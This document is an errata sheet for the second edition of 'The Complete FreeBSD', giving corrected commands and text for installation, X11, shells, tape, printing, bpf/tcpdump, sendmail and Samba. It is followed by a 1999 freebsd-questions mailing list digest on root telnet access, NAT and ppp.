specifications in the book (/book on the first CD-ROM).  The 2.2.5 CD-ROM  came
out before the book, and it contains the files on the third (repository) CD-ROM
as a single gzipped tar file  /xperimnt/cfbsd/cfbsd.tar.gz.   It  contains  the
following files:

drwxr-xr-x jkh/jkh           0 Oct 17 13:01 1997 cfbsd/
drwxr-xr-x jkh/jkh           0 Oct 17 13:01 1997 cfbsd/mutt/
-rw-r--r-- jkh/jkh         352 Oct 15 15:21 1997 cfbsd/mutt/.mail_aliases
-rw-r--r-- jkh/jkh        9394 Oct 15 15:22 1997 cfbsd/mutt/.muttrc
drwxr-xr-x jkh/jkh           0 Oct 17 14:02 1997 cfbsd/scripts/
-rw-r--r-- jkh/jkh       18281 Oct 16 16:52 1997 cfbsd/scripts/.fvwm2rc
-rwxr-xr-x jkh/jkh        1392 Oct 17 12:54 1997 cfbsd/scripts/install-desktop
-rw-r--r-- jkh/jkh         296 Oct 17 12:35 1997 cfbsd/scripts/.xinitrc
-rwxr-xr-x jkh/jkh         622 Oct 17 13:51 1997 cfbsd/scripts/install-rcfiles
-rw-r--r-- jkh/jkh        1133 Oct 17 13:00 1997 cfbsd/scripts/Uutry
-rw-r--r-- jkh/jkh        1028 Oct 17 14:02 1997 cfbsd/scripts/README
drwxr-xr-x jkh/jkh           0 Oct 18 19:32 1997 cfbsd/docs/
-rw-r--r-- jkh/jkh      199111 Oct 16 14:29 1997 cfbsd/docs/packages.txt

Page 2






                    Errata and addenda for the Complete FreeBSD, second edition


-rw-r--r-- jkh/jkh      189333 Oct 16 14:28 1997 cfbsd/docs/packages-by-category.txt
-rw-r--r-- jkh/jkh      188108 Oct 16 14:29 1997 cfbsd/docs/packages.ps
-rw-r--r-- jkh/jkh      226439 Oct 16 14:27 1997 cfbsd/docs/packages-by-category.ps
-rw-r--r-- jkh/jkh         788 Oct 16 15:01 1997 cfbsd/README
-rw-r--r-- jkh/jkh         248 Oct 17 11:52 1997 cfbsd/errata

To  extract  one  of these files, say cfbsd/docs/packages.txt, and assuming you
have the CD-ROM mounted as /cdrom, enter:

# cd /usr/share/doc
# tar xvzf /cdrom/xperimnt/cfbsd/cfbsd.tar.gz cfbsd/docs/packages.txt

See page 209 for more information on using tar.

These files are an early version of what is described in the book.  I'll put up
some updated versions on ftp://ftp.lemis.com/ in the near future.

Thanks  to Frank McCormick <gfm@readybox.com> for drawing this to my attention.

Chapter 8: Setting up X11
_________________________

For FreeBSD 2.2.7, this chapter has changed sufficiently to make it impractical
to   distribute   errata.    You  can  download  the  PostScript  version  from
ftp://www.lemis.com/pub/cfbsd/xsetup.ps,   or   the    ASCII    version    from
ftp://www.lemis.com/pub/cfbsd/xsetup.txt.  No HTML version is available.

Page xxxiv
__________

Before the discussion of the shell prompts in the middle of the page, add:

In this book, I recommend the use of the Bourne shell or one of its descendents
(sh, bash, pdksh, ksh or zsh).  With the exception of sh, they are all  in  the
Ports Collection.  I personally use the bash shell.

This  is a personal preference, and a recommendation, but it's not the standard
shell.  The standard BSD shell is the  C  shell  (csh),  which  has  a  fuller-
featured  descendent  tcsh.   In particular, the standard installation sets the
root user up with a csh.  See page 152 (in this errata) for details of  how  to
change the shell.




                                                                         Page 3






General changes


Page 11: Reading the handbook
_____________________________

The  CD-ROM  now includes Netscape.  Replace the last paragraph on the page and
the example on the following page with:

If you're running X, you can use a browser like netscape to read the  handbook.
If you don't have X running yet, use lynx.  Both of these programs are included
on the CD-ROM.  To install them, enter:

# pkg_add /cdrom/packages/All/netscape-communicator-4.5.tgz
or
# pkg_add /cdrom/packages/All/lynx-2.8.1.1.tgz

The numbers after the name (4.5 and 2.8.1.1) may change  after  this  book  has
been  printed.   Use  ls  to  list the names if you can't find these particular
versions.

Note that lynx is not a complete substitute for netscape:  since  it  is  text-
only,  it  is  not  capable  of  displaying  the  large  majority  of web pages
correctly.  It will suffice for reading most of the handbook, however.

Thanks to Stuart Henderson <stuart@internationalschool.co.uk> and <gkaplan@cas-
tle.net> for drawing this to my attention.

Page 12: Printing the handbook
______________________________

The instructions for formatting the handbook are obsolete.  Replace the section
starting Alternatively, you can print out the handbook with the following text:

Alternatively,  you  can  print  out  the  handbook.   You  need  to  have  the
documentation sources (/usr/doc) installed on your system.  You can  find  them
on the second CD-ROM in the directory of the same name.  To install them, first
mount your CD-ROM (see page 175).  Then enter:

$ cd /cdrom/usr/doc/handbook
$ mkdir -p /usr/doc/handbook            you may need to be root for this operation
$ cp -pr * /usr/doc/handbook

You have a choice of formats for the output:

o ascii will give you plain 7-bit ASCII  output,  suitable  for  reading  on  a
  character-mode terminal.

Page 4






                    Errata and addenda for the Complete FreeBSD, second edition


o html will give you HTML output, suitable for browsing with a web browser.

o latex  will  give  you LATEX format, suitable for further processing with TEX
  and LATEX.

o ps will give you PostScript output, probably the best choice for printing.

o roff will give you output in troff source.  You can process this output  with
  nroff  or  troff,  but  it's  currently not very polished.  LATEX output is a
  better choice if you want to process it further.

Once you have decided your format,  use  make  to  create  the  document.   For
example, if you decide on PostScript format, you would enter:

$ make FORMATS=ps

This  creates  a  file  handbook.ps  which  you  can then print to a PostScript
printer or with the aid of ghostscript (see page 222).

Thanks to Bob Beer <r-beer@onu.edu> for drawing this to my attention.

Page 45:  Preparing floppies for installation
_____________________________________________

Replace the paragraph below the list of file names (in the middle of the  page)
with:

The  floppy  set should contain the file bin.inf and the ones whose names start
with bin. followed by two letters.  These other  files  are  all  240640  bytes
long,  except  for the final one which is usually shorter.  Use the MS-DOS COPY
program to copy as many files as will fit onto each disk (5 or 6) until  you've
got  all  the  distributions  you  want  packed  up in this fashion.  Copy each
distribution into subdirectory corresponding to  the  base  name--for  example,
copy the bin distribution to the files A:\BIN\BIN.INF, A:\BIN\BIN.AA and so on.

Page 80 and 81
______________

In a couple of examples, the FreeBSD partition is shown as type 164.  It should
be  165.   Thanks  to an unknown contributer for this correction (sorry, I lost
your name).




                                                                         Page 5






General changes


Page 88: setting up for dumping
_______________________________

The example mentions a variable savecore in /etc/rc.conf.  This variable is  no
longer used--it's enough to set the variable dumpdev.

Page 92
_______

At the end of the section How to install a package add the text:

Alternatively,  you  can  install  packages  from  the  /stand/sysinstall Final
Configuration Menu.  We saw this menu on page in figure 4-14 on page 71.   When
you  start  sysinstall from the command line, you get to this menu by selecting
Index, and then selecting Configure.


Page 93
_______

Before the heading Install ports from the first CD-ROM add:


Install ports when installing the system
________________________________________

The file ports/ports.tgz on the first CD-ROM is a tar  archive  containing  all
the  ports.   You  can install it with the base system if you select the Custom
distribution and include the ports collection.  If you didn't install  them  at
the  time,  use  the  following method to install them all (about 40 MB).  Make
sure your CD-ROM is mounted (in this example on /cdrom), and enter:

Page 96
_______

Replace the example at the top of the page with:

Instead, do:

# cd /cd4/ports/distfiles
# mkdir -p /usr/ports/distfiles              make sure you have a distfiles directory
# for i in *; do
>   ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i
> done

Page 6






                    Errata and addenda for the Complete FreeBSD, second edition


If you're using csh or tcsh, enter:

# cd /cd4/ports/distfiles
# mkdir -p /usr/ports/distfiles              make sure you have a distfiles directory
# foreach i (*)
?   ln -s /cd4/ports/distfiles/$i /usr/ports/distfiles/$i
? end

Thanks to Christopher Raven <gurab@lineone.net>  and  Francois  Jacques  <fran-
cois.jacques@callisto.si.usherb.ca> for drawing this to my attention.

Page 128
________

Replace the complete text below the example with the following:

These  values  are  defaults,  and  many  are either incorrect for FreeBSD (for
example the device name /dev/com1) or do not apply at all (for example Xqueue).
If  you are configuring manually, select one Protocol and one Device entry from
the following selection.  If you must use a  two-button  mouse,  uncomment  the
keyword  Emulate3Buttons--in  this mode, pressing both mouse buttons simultane-
ously within Emulate3Timeout milliseconds causes the server to report a  middle
button press.

Section "Pointer"

    Protocol   "Microsoft"         for Microsoft protocol mice
    Protocol    "MouseMan"         for Logitech mice
    Protocol    "PS/2"             for a PS/2 mouse
    Protocol    "Busmouse"         for a bus mouse

    Device     "/dev/ttyd0"        for a mouse on the first serial port
    Device     "/dev/ttyd1"        for a mouse on the second serial port
    Device     "/dev/ttyd2"        for a mouse on the third serial port
    Device     "/dev/ttyd3"        for a mouse on the fourth serial port
    Device     "/dev/psm0"         for a PS/2 mouse
    Device     "/dev/mse0"         for a bus mouse

    Emulate3Buttons           only for a two-button mouse

EndSection

You'll  notice  that the protocol name does not always match the manufacturer's
name.  In particular, the Logitech protocol  only  applies  to  older  Logitech

                                                                         Page 7






Install ports when installing the system


mice.   The  newer ones use either the MouseMan or Microsoft protocols.  Nearly
all modern serial mice run one of these two protocols, and most run both.

If you are using a bus mouse or a PS/2 mouse, make sure that the device  driver
is  included in the kernel.  The GENERIC kernel contains drivers for both mice,
but the PS/2 driver is disabled.  Use UserConfig (see page 50) to enable it.

Page 140
________

Just before the paragraph The super user add the following paragraph:

If you do manage to lose the root password, all may not be  lost.   Reboot  the
machine to single user mode (see page 157), and enter:

# mount -u /             mount root file system read/write
# mount /usr             mount /usr file system (if separate)
# passwd root            change the password for root
Enter new password:
Enter password again:
# ^D                enter ctrl-D to continue with startup

If you have a separate /usr file system (the normal case), you need to mount it
as well, since the passwd program is in the directory /usr/bin.  Note that  you
should  explicitly state the name root: in single user mode, the system doesn't
have the concept of user IDs.

Page 148
________

Replace the text at the top of the page with:

Modern shells supply command line editing which resembles  the  editors  vi  or
Emacs.  In bash, sh, ksh, and zsh you can make the choice by entering

Page 152
________

After figure 10-8, add the following text:

It  would  be  tedious  for  every  user  to  put  settings  in  their  private
initialization files, so the shells also read a system-wide default file.   For
the Bourne shell family, it is /etc/profile, while the C shell family has three
files: /etc/csh.login to be executed on login, /etc/csh.cshrc  to  be  executed

Page 8






                    Errata and addenda for the Complete FreeBSD, second edition


when  a  new  shell  is  started  after  you  log in, and /etc/csh.logout to be
executed when you stop a shell.   The  start  files  are  executed  before  the
corresponding individual files.

In  addition,  login  classes  (page  141)  offer  another  method  of  setting
environment variables at a global level.

Changing your shell
___________________

The FreeBSD installation gives root a C shell, csh.  This  is  the  traditional
Berkeley  shell,  but it has a number of disadvantages: command line editing is
very primitive, and the script language is significantly different from that of
the Bourne shell, which is the de facto standard for shell scripts: if you stay
with the C shell, you may still need  to  understand  the  Bourne  shell.   The
latest  version of the Bourne shell sh also includes some command line editing.
See page 148 for details of how to enable it.

You can get better command line editing with tcsh,  in  the  Ports  Collection.
You can get both better command line editing and Bourne shell syntax with bash,
also in the Ports Collection.

If you have root access, you can use vipw to change your shell, but  there's  a
more  general way: use chsh (Change Shell).  Simply run the program.  It starts
your favourite editor (as defined by the EDITOR environment variable).   Here's
an example before:

#Changing user database information for velte.
Shell: /bin/csh
Full Name: Jack Velte
Location:
Office Phone:
Home Phone:

You  can  change anything after the colons.  For example, you might change this
to:

#Changing user database information for velte.
Shell: /usr/local/bin/bash
Full Name: Jack Velte
Location: On the road
Office Phone: +1-408-555-1999
Home Phone:


                                                                         Page 9






Install ports when installing the system


chsh checks and updates the password files when you save the modifications  and
exit  the editor.  The next time you log in, you get the new shell.  chsh tries
to ensure you don't make any mistakes--for example, it won't let you enter  the
name  of a shell which isn't mentioned in the file /etc/shells--but it's a very
good idea to check the shell before logging out.  You can  try  this  with  su,
which you normally use to become super user:

bumble# su velte
Password:
su-2.00$                 note the new prompt

There are a couple of problems in using tcsh or bash as a root shell:

o The  shell  for  root  must be on the root file system, otherwise it will not
  work in single user mode.  Unfortunately, most ports of shells put the  shell
  in  the  directory  /usr/local/bin,  which  is  almost never on the root file
  system.

o Most shells are dynamically linked: they rely on library  routines  in  files
  such  as /usr/lib/libc.a.  These files are not available in single user mode,
  so the shells won't work.  You can solve this problem by creating  statically
  linked versions of the shell, but this requires programming experience beyond
  the scope of this book.

If you can get hold of a statically linked version, perform the following steps
to install it:

o Copy the shell to /bin, for example:

  # cp /usr/local/bin/bash /bin

o Add  the  name of the shell to /etc/shells,  in this example the line in bold
  print:

  # List of acceptable shells for chpass(1).
  # Ftpd will not allow users to connect who are not using
  # one of these shells.
  /bin/sh
  /bin/csh
  /bin/bash


You can then change the shell for root as described above.


Page 10






                    Errata and addenda for the Complete FreeBSD, second edition


Thanks to Lars Koller  <Lars.Koeller@Uni-Bielefeld.DE> for drawing this  to  my
attention.

Page 160
________

Replace the text at the fourth bullet with the augmented text:

The  second-level  boot  locates the kernel, by default the file /kernel on the
root file system, and loads it into memory.  It prints the Boot: prompt at this
point  so  that you can influence this choice--see the man page on page 579 for
more details of what you can enter at this prompt.

Page 169
________

Replace the last paragraph on the page with:

The standard solution for these problems is to relocate the /tmp file system to
a  different  directory, say /usr/tmp, and create a symbolic link from /usr/tmp
to /tmp--see , page *******, for more details.  As we shall see, /var is a file
system intended to store data that changes frequently.

Thanks to Charlie Sorsby <crs@hgo.net> for drawing this to my attention.

Page 176
________

Add the following paragraph

Unmounting file systems

When you mount a file system, the system assumes it is going to stay there, and
in the interests of efficiency it delays writing data back to the file  system.
This  is the same effect we discussed on page 158.  As a result, if you want to
stop using a file system, you need to tell the system about it.   You  do  this
with  the umount command.  Note the spelling--there's no n in the command name.

You need to do this even with read-only  media  such  as  CD-ROMs:  the  system
assumes  it  can  access the data from a mounted file system, and it gets quite
unhappy if it can't.  Where possible, it locks  removable  media  so  that  you
can't remove them from the device until you unmount them.

Using  umount  is  straightforward:  just  tell  it what to unmount, either the

                                                                        Page 11






Install ports when installing the system


device name or the directory name.  For  example,  to  unmount  the  CD-ROM  we
mounted in the example above, you could enter one of these commands:

# umount /dev/cd1a
# umount /cd1

Before  unmounting  a  file  system, umount checks that nobody is using it.  If
somebody is using it, it will refuse to unmount it with a message like  umount:
/cd1:  Device  busy.   This  message often occurs because you have changed your
directory to a directory on the file system you want to  remove.   For  example
(which also shows the usefulness of having directory names in the prompt):

=== root@freebie (/dev/ttyp2) /cd1 16 -> umount /cd1
umount: /cd1: Device busy
=== root@freebie (/dev/ttyp2) /cd1 17 -> cd
=== root@freebie (/dev/ttyp2) ~ 18 -> umount /cd1
=== root@freebie (/dev/ttyp2) ~ 19 ->

Thanks to Ken Deboy <glockr@locked_and_loaded.reno.nv.us> for pointing out this
omission.

Page 180
________

The example in the middle of the page should read:

For example, to generate a second set of 32 pseudo-terminals, enter:

# cd /dev
# ./MAKEDEV pty1

You can generate up to 256 pseudo-terminals.   They  are  named  ttyp0  through
ttypv,  ttyq0  through  ttyqv,  ttyr0 through ttyrv, ttys0 through ttysv, ttyP0
through ttyPv, ttyQ0 through ttyQv,  ttyR0  through  ttyRv  and  ttyS0  through
ttySv.   To  create  each  set  of 32 terminals, use the number of the set: the
first set is pty0, and the eighth set is pty7.  Note that some processes,  such
as xterm, only look at ttyp0 through ttysv.

Thanks to Karl Wagner <karl@softronex.dynip.com> for pointing out this error.






Page 12






                    Errata and addenda for the Complete FreeBSD, second edition


Page 197, first line
____________________

The text of the first full sentence reads:

The first name, up the the  symbol, is the label.

In fact, it should read:

The first name, up to the | symbol, is the label.


Page 208, middle of page
________________________

The  example  shows  the  file  name /dev/rst0 when using the Bourne shell, and
/dev/nrst0  when  using  C  shell  and  friends.   This  is  inconsistent;  use
/dev/nrst0 with any shell if you want a non-rewinding tape, or /dev/rst0 if you
want a rewinding tape.

Thanks to Norman C Rice <nrice@emu.sourcee.com> for pointing out this one.

Page 219
________

Before the section Testing the spooler add the following section:

As we saw above, the line  printer  daemon  lpd  is  responsible  for  printing
spooled  jobs.   By default it isn't started at boot time.  If you're root, you
can start it by name:

# lpd

Normally, however, you will want it to be started automatically when the system
starts up.  You do this by setting the variable lpd_enable in /etc/rc.conf:

lpd_enable="YES"              # Run the line printer daemon

See page  for more details of /etc/rc.conf.

Another line in /etc/rc.conf refers to the line printer daemon:




                                                                        Page 13






Install ports when installing the system


lpd_flags=""        # Flags to lpd (if enabled).

You  don't  normally  need  to  change this line.  See the man page for lpd for
details of the flags.

Thanks to Tommy  G.  James  <tgj@worldnet.att.net>  for  bringing  this  to  my
attention.

Page 231
________

Replace the first line of the example with:

xhost presto bumble gw

The original version allowed anybody on the Internet to access your system.

Thanks  to  Jerry  Dunham  <dunham@dunham.org>  for  drawing  this  one  to  my
attention.


Page 237
________

In the section Installing the sample desktop, replace the first paragraph with:

You'll  find  all  the  files  described  in  this  chapter on the first CD-ROM
(Installation CD-ROM) in the directory /book.  Remember that you must mount the
CD-ROM  before you can access the files--see page 175 for further details.  The
individual scripts are in the directory /book/scripts, but you'll probably find
it easier to install them with the script install-desktop:

Thanks to Chris Kaiser <kaiserc@fltg.net> for drawing this to my attention.

Page 242
________

The  instructions  for extracting the source files from CD-ROM in the middle of
page 242 are incorrect.  You'll find the kernel sources on the first CD-ROM  in
the directory /src.  Replace the example with:





Page 14






                    Errata and addenda for the Complete FreeBSD, second edition


# mkdir -p /usr/src/sys
# ln -s /usr/src/sys /sys
# cd /
# cat /cdrom/src/ssys.[a-d]* | tar xzvf -

Thanks    to    Raymond    Noel   <raynoel@videotron.ca>,   Suttipan   Limanond
<b0l6604@unix.tamu.edu> and Satwant <wizkid11@xnet.com> for finding this one in
several small slices.

Page 257
________

Replace the paragraph Berkeley Packet Filter with:


pseudo-device bpfilter
______________________

The  Berkeley  Packet  Filter  (bpf)  allows  you to capture packets crossing a
network interface to disk or to examine them with the  tcpdump  program.   Note
that  this  capability represents a significant compromise of network security.
The number after bpfilter is the number of concurrent processes  that  can  use
the facility.  Not all network interfaces support bpf.

In  order  to  use  the Berkeley Packet Filter, you must also create the device
nodes /dev/bpf0 to /dev/bpf3 (if you're using the default number 4).   Current-
ly, MAKEDEV doesn't help much--you need to create each device separately:

# cd /dev
# ./MAKEDEV bpf0
# ./MAKEDEV bpf1
# ./MAKEDEV bpf2
# ./MAKEDEV bpf3

Thanks  to  Christopher  Raven  <c.raven@ukonline.co.uk> for drawing this to my
attention.

Page 264
________

In the list of disk driver flags, add:

o Bit 12 (0x1000) enables LBA (logical block addressing mode).  If this bit  is
  not set, the driver accesses the disk in CHS (cylinder/head/sector) mode.

                                                                        Page 15






Install ports when installing the system


o In  CHS  mode, if bits 11 to 8 are not equal to 0, they specify the number of
  heads to assume (between 1 and 15).  The driver recalculates  the  number  of
  cylinders to make up the total size of the disk.


Page 283, ``Creating the source tree''
______________________________________

Add a third point to what you need to know:

3. Possibly,  the  date  of the last update that you want to be included in the
  checkout.  If you specify this date, cvs ignores  any  more  recent  updates.
  This option is often useful when somebody discovers a recently introduced bug
  in -CURRENT: you check out the modules  as  they  were  before  the  bug  was
  introduced.   You  specify  the  date  with the -D option, for example -D "10
  December 1997".


Page 285, after the second example.
___________________________________

Add the text:

If you need to check out an older version, for example if  there  are  problems
with the most recent version of -CURRENT, you could enter:

# cvs co  -D "10 December 1997" src/sys

This command checks out the kernel sources as of 10 December 1997.

Page 294
________

Add the following section:

Problems executing Linux binaries
_________________________________

One  of  the problems with the ELF format used by more recent Linux binaries is
that they usually contain no information to identify them  as  Linux  binaries.
They  might  equally  well be BSD/OS or UnixWare binaries.  That's not really a
problem at this point, since the only ELF format that FreeBSD 2.2.7 understands
is  Linux,  but FreeBSD-CURRENT recognizes a native FreeBSD ELF format as well,
and of course that's the default.  If you want to run a  Linux  ELF  binary  on

Page 16






                    Errata and addenda for the Complete FreeBSD, second edition


such  a  system, you must brand the executable using the program brandelf.  For
example, to brand the StarOffice program swriter3, you would enter:

# brandelf -t linux /usr/local/StarOffice-3.1/linux-x86/bin/swriter3

Thanks to Dan Busarow <dan@dpcsys.com> for bringing this to my attention.

Page 364, middle of page
________________________

Change the text from:

The names MYADDR and HISADDR are keywords which represent the addresses at each
end  of  the  link.  They must be written as shown, though they may be in lower
case.

to

The names MYADDR and HISADDR are keywords which represent the addresses at each
end  of  the link.  They must be written as shown, though newer versions of ppp
allow you to write them in lower case.

Thanks to Mark S. Reichman <mark@fang.cs.sunyit.edu> for this correction.

Page 368
________

Replace the paragraph after the second example with:

In  FreeBSD  version  3.0  and  later,  specify  the  options  PPP_BSDCOMP  and
PPP_DEFLATE  to  enable  two kinds of compression.  You'll also need to specify
the corresponding option in Kernel PPP's configuration file.  These options are
not available in FreeBSD version 2.

Thanks to Brian Somers <brian@Awfulhak.org> for this information.

Page 397
________

In the section ``Nicknames'', the example should read:





                                                                        Page 17






Install ports when installing the system


www       IN   CNAME          freebie
ftp       IN   CNAME          presto

In other words, there should be a space between CNAME and the system name.

Page 422
________

Replace the text above the example with:

tcpdump  is  a program which monitors a network interface and displays selected
information which passes through it.  It uses the Berkeley Packet Filter (bpf),
an optional component of the kernel.  It is not included in the GENERIC kernel:
see page 257 for information on how to configure it.

If you don't configure the Berkeley Packet Filter, you will get a message like

tcpdump: /dev/bpf0:  device not configured

If you forget to create the devices for bpf, you will get a message like:

tcpdump: /dev/bpf0: No such file or directory

Since tcpdump poses a potential security problem, you must be root in order  to
run it.  The simplest way to run it is without any parameters.  This will cause
tcpdump to monitor  and  display  all  traffic  on  the  first  active  network
interface, normally Ethernet:

Thanks  to  Christopher  Raven  <c.raven@ukonline.co.uk> for drawing this to my
attention.

Page 423
________

The description at the top of the page incorrectly uses  the  term  IP  address
instead  of  Ethernet  address.   In  addition,  a  page  number  reference  is
incorrect.  Replace the paragraph with:

o Line 1 shows an ARP request:  system  presto  is  looking  for  the  Ethernet
  address  of  wait.   It  would  appear that wait is currently not responding,
  since there is no reply.

o Line 2 is not an IP message at all.  tcpdump shows the Ethernet addresses and
  the  beginning of the packet.  We don't consider this kind of request in this

Page 18






                    Errata and addenda for the Complete FreeBSD, second edition


  book.

o Line 3 is a broadcast ntp message.  We looked at ntp on page 160.

o Line 4 is another attempt by presto to find the IP address of wait.

o Line 5  is  a  broadcast  message  from  bumble  on  the  rwho  port,  giving
  information about its current load averages and how long it has been up.  See
  the man page for rwho on page 1167 for more information.

o Line 6 is from a TCP connection between port 6000 on freebie and port 1089 on
  presto.   It  is  sending  384  bytes (with the sequence numbers 536925467 to
  536925851; see page 305), and is acknowledging that the last byte it received
  from presto had the sequence number 325114346.  The window size is 17280.

o Line 7 is another ARP request.  presto is looking for the Ethernet address of
  freebie.  How can that  happen?   We've  just  seen  that  they  have  a  TCP
  connection.   In  fact, ARP information expires after 20 minutes.  It's quite
  possible that all connections between presto and freebie  have  been  dormant
  for this period, so presto needs to find freebie's IP address again.

o Line 8 is the ARP reply from freebie to presto giving its Ethernet address.

o Line  9 shows a reply from presto on the connection to freebie that we saw on
  line 6.  It acknowledges the  data  up  to  sequence  number  536925851,  but
  doesn't send any itself.

o Line  10  shows  another  448  bytes  of  data  from  freebie  to presto, and
  acknowledging the same sequence number from presto as in line 6.

Thanks to Sergei S. Laskavy <laskavy@hedgehog.cs.msu.su> for drawing this to my
attention.

Page 450: anonymous ftp
_______________________

Replace the paragraph starting with Create a user ftp:

Create  a  user ftp, with the anonymous ftp directory as the home directory and
the shell /dev/null.  Using /dev/null as the shell makes it impossible  to  log
in  as user ftp, but does not interfere with the use of anonymous ftp.  ftp can
be a member of group bin, or you can create a new group ftp by adding the group
to /etc/group.  See page 138 for more details of adding users, and the man page
on page 805 for adding groups.

                                                                        Page 19






Install ports when installing the system


Thanks to Mark S. Reichman <mark@borg.com> for drawing this to my attention.

Page 466, before the ps example
_______________________________

Add another bullet:

o Finally, you may find it convenient to let some other system handle all  your
  mail  delivery  for  you: you just send anything you can't deliver locally to
  this other host, which sendmail calls a smart  host.   This  is  particularly
  convenient if you send your mail with UUCP.

  To  tell  sendmail  to use a smart host (in our case, mail.example.net), find
  the following line in sendmail.cf:

  # "Smart" relay host (may be null)
  DS

  Change it to:

  # "Smart" relay host (may be null)
  DSmail.example.net


Page 478, ``Running Apache''
____________________________

The text describes the location of the server  as  /usr/local/www/server/httpd.
This  appears to depend on where you get the port from.  Some people report the
file being at the more likely location /usr/local/sbin/httpd (though  note  the
directory  sbin,  not  bin).   Check  both  locations  if you run into trouble.
Thanks to Sue Blake <sue@welearn.com.au> for this information.

Page 492
________

Replace references to nmdb with nmbd.

Page 493
________

Replace the last paragraph on the page with:

socket options  is  hardly  mentioned  in  the  documentation,  but  it's  very

Page 20






                    Errata and addenda for the Complete FreeBSD, second edition


important:  many  Microsoft  implementations  of  TCP/IP  are  inefficient  and
establish a new TCP more often  than  necessary.   Select  the  socket  options
TCP_NODELAY  and  IPTOS_LOWDELAY,  which can speed up the response time of such
applications by over 95%.









































                                                                        Page 21





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From owner-freebsd-questions  Fri Mar 26 17:15:31 1999
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From: Jim Pazarena <paz@ccstores.com>
To: freebsd-questions@freebsd.org
Subject: telnet access restrictions
X-Mailer: SCO Shell
Date: Fri, 26 Mar 1999 17:15:13 -0800 (PST)
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I am setting up my first FreeBSD box, and find that I can't telnet in
as root but I can as a regular user.

I can't find where root is blocked from access. Please help.
                                                                                
--
Jim Pazarena     mailto:paz@ccstores.com 
                 http://www.qcislands.net/paz
 



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From owner-freebsd-questions  Fri Mar 26 17:21: 9 1999
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  <big snip>

You almost have it right. You will need to run NATD to translate your 10.x.x.x 
addresses to a real internet address and reverse the process on the way back.
Having a single interface for the gateway is not a good idea as anyone on your
local cable segment can mess with your 10.x.x.x machine. I would recommend that
you get another nic for the gateway. You then have on nic for the internal 
network and one for the cable modem internet. You can get natd to work with 
one nic but it will be harder. man natd has all you need to know for the two
nic setup. Search the questions mail archives for the single nic setup.

-- 
When I was a kid I had to rub sticks together to multiply and divide numbers. 
A calculator was a job description.


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From owner-freebsd-questions  Fri Mar 26 17:28:35 1999
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	(envelope-from roelof@eboa.com)
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	by gaia.euronet.nl (8.8.8/8.8.8) with ESMTP id CAA13014
	from <roelof@eboa.com> for <freebsd-questions@FreeBSD.ORG>; Sat, 27 Mar 1999 02:28:09 +0100 (MET)
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Date: Sat, 27 Mar 1999 02:30:14 +0100
From: Roelof Osinga <roelof@eboa.com>
Organization: eboa - engineering buro Office Automation
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Root keeps getting this fanmail from the system:

Mail in local queue:
                Mail Queue (1 request)
--Q-ID-- --Size-- -----Q-Time----- ------------Sender/Recipient------------
CAA18526* (no control file)

Yet /var/spool/mqueue is empty and sendmail has no outstanding 
requests. So what queue might this be?

Tried to find files by that name:

root:/usr/src/sys/i386/conf# find / -name "*CAA18526*" -print
root:/usr/src/sys/i386/conf#

but to no avail.

Hm. Since I'd delete the mail I waited to make sure I'ld still
be getting it. I did not. This time I got:

Mail in local queue:
                Mail Queue (1 request)
--Q-ID-- --Size-- -----Q-Time----- ------------Sender/Recipient------------
CAA22435* (no control file)

root:/usr/src/sys/i386/conf# find / -name "*CAA22435*" -print
root:/usr/src/sys/i386/conf#

What and where are these mails it complains about. How can I get
prevent this from occurring all the time?

Roelof

-- 
Home is where the (@) http://eboa.com/ is.


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From owner-freebsd-questions  Fri Mar 26 17:37:15 1999
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Message-ID: <19990326173801.59455@cm110119.cableco-op.com>
Date: Fri, 26 Mar 1999 17:38:01 -0800
From: Jeff Gray <jwg@cm110108.cableco-op.com>
To: Jim Pazarena <paz@ccstores.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: telnet access restrictions
References: <9903261715.aa15232@dick.ccstores.com>
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Jim,
You cannot telnet in as root.
Telnet in as an account and then use su to get to root.

After loggin in, at the prompt enter

su root
or 
su - root

The first one will keep your directory as /usr/home/login
The latter will be /root

Jeff


On Fri, Mar 26, 1999 at 05:15:13PM -0800, Jim Pazarena wrote:
> I am setting up my first FreeBSD box, and find that I can't telnet in
> as root but I can as a regular user.
> 
> I can't find where root is blocked from access. Please help.
>                                                                                 
> --
> Jim Pazarena     mailto:paz@ccstores.com 
>                  http://www.qcislands.net/paz
>  
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


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From owner-freebsd-questions  Fri Mar 26 17:40:31 1999
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Date: Fri, 26 Mar 1999 20:39:58 -0500
From: Soren Harward <soren@cinternet.net>
To: Jim Pazarena <paz@ccstores.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: telnet access restrictions
References: <9903261715.aa15232@dick.ccstores.com>
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On Fri 26 Mar 1999 at 17:15:13, Jim Pazarena muttered:
> I am setting up my first FreeBSD box, and find that I can't telnet in
> as root but I can as a regular user.
> 
> I can't find where root is blocked from access. Please help.

If you really want to enable root telnet (not recommended), then
add 'secure' to the network terminals in /etc/ttys

-- 
 Soren Harward <soren@cinternet.net> | Windows DOES come with a tool
 http://www.soren.cinternet.net/     | to restore a corrupt Registry.
 Internet Information Systems Admin  |
 Cinternet, Inc.  (513) 891-1228     | It's called FDISK.


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From owner-freebsd-questions  Fri Mar 26 17:41:33 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 11:25:29 +1000
From: Greg Black <gjb@comkey.com.au>
To: "jagte@gateway.net" <jagte@gateway.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: ppp connection 
References: <01BE7790.617E0F80.jagte@gateway.net> 
In-reply-to: <01BE7790.617E0F80.jagte@gateway.net> 
    of Fri, 26 Mar 1999 13:55:59 CST
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> default:
>   set device /dev/cuaa0
>   set speed 115200
>   set dial "ABORT BUSY ABORT NO\\sCARRIER TIMEOUT 5 \"\" AT OK-AT-OK ATE1Q0 
> OK \\ dATDT\\T TIMEOUT 40 CONNECT"
     ^^^^
     ||||

What's the bit I marked supposed to do?

To see what's happening, include the following line at the start
of your default section:

    set log Phase Chat LCP IPCP CCP tun command

All this information will be helpful, but for now you're
interested in the Chat part of the log.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Fri Mar 26 17:41:43 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Sat, 27 Mar 1999 11:41:17 +1000
From: Greg Black <gjb@comkey.com.au>
To: freebsd-questions@FreeBSD.ORG
Subject: Any success stories with FreeBSD-3.1-Release?
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I've seen quite a lot of stories on this list over the past few
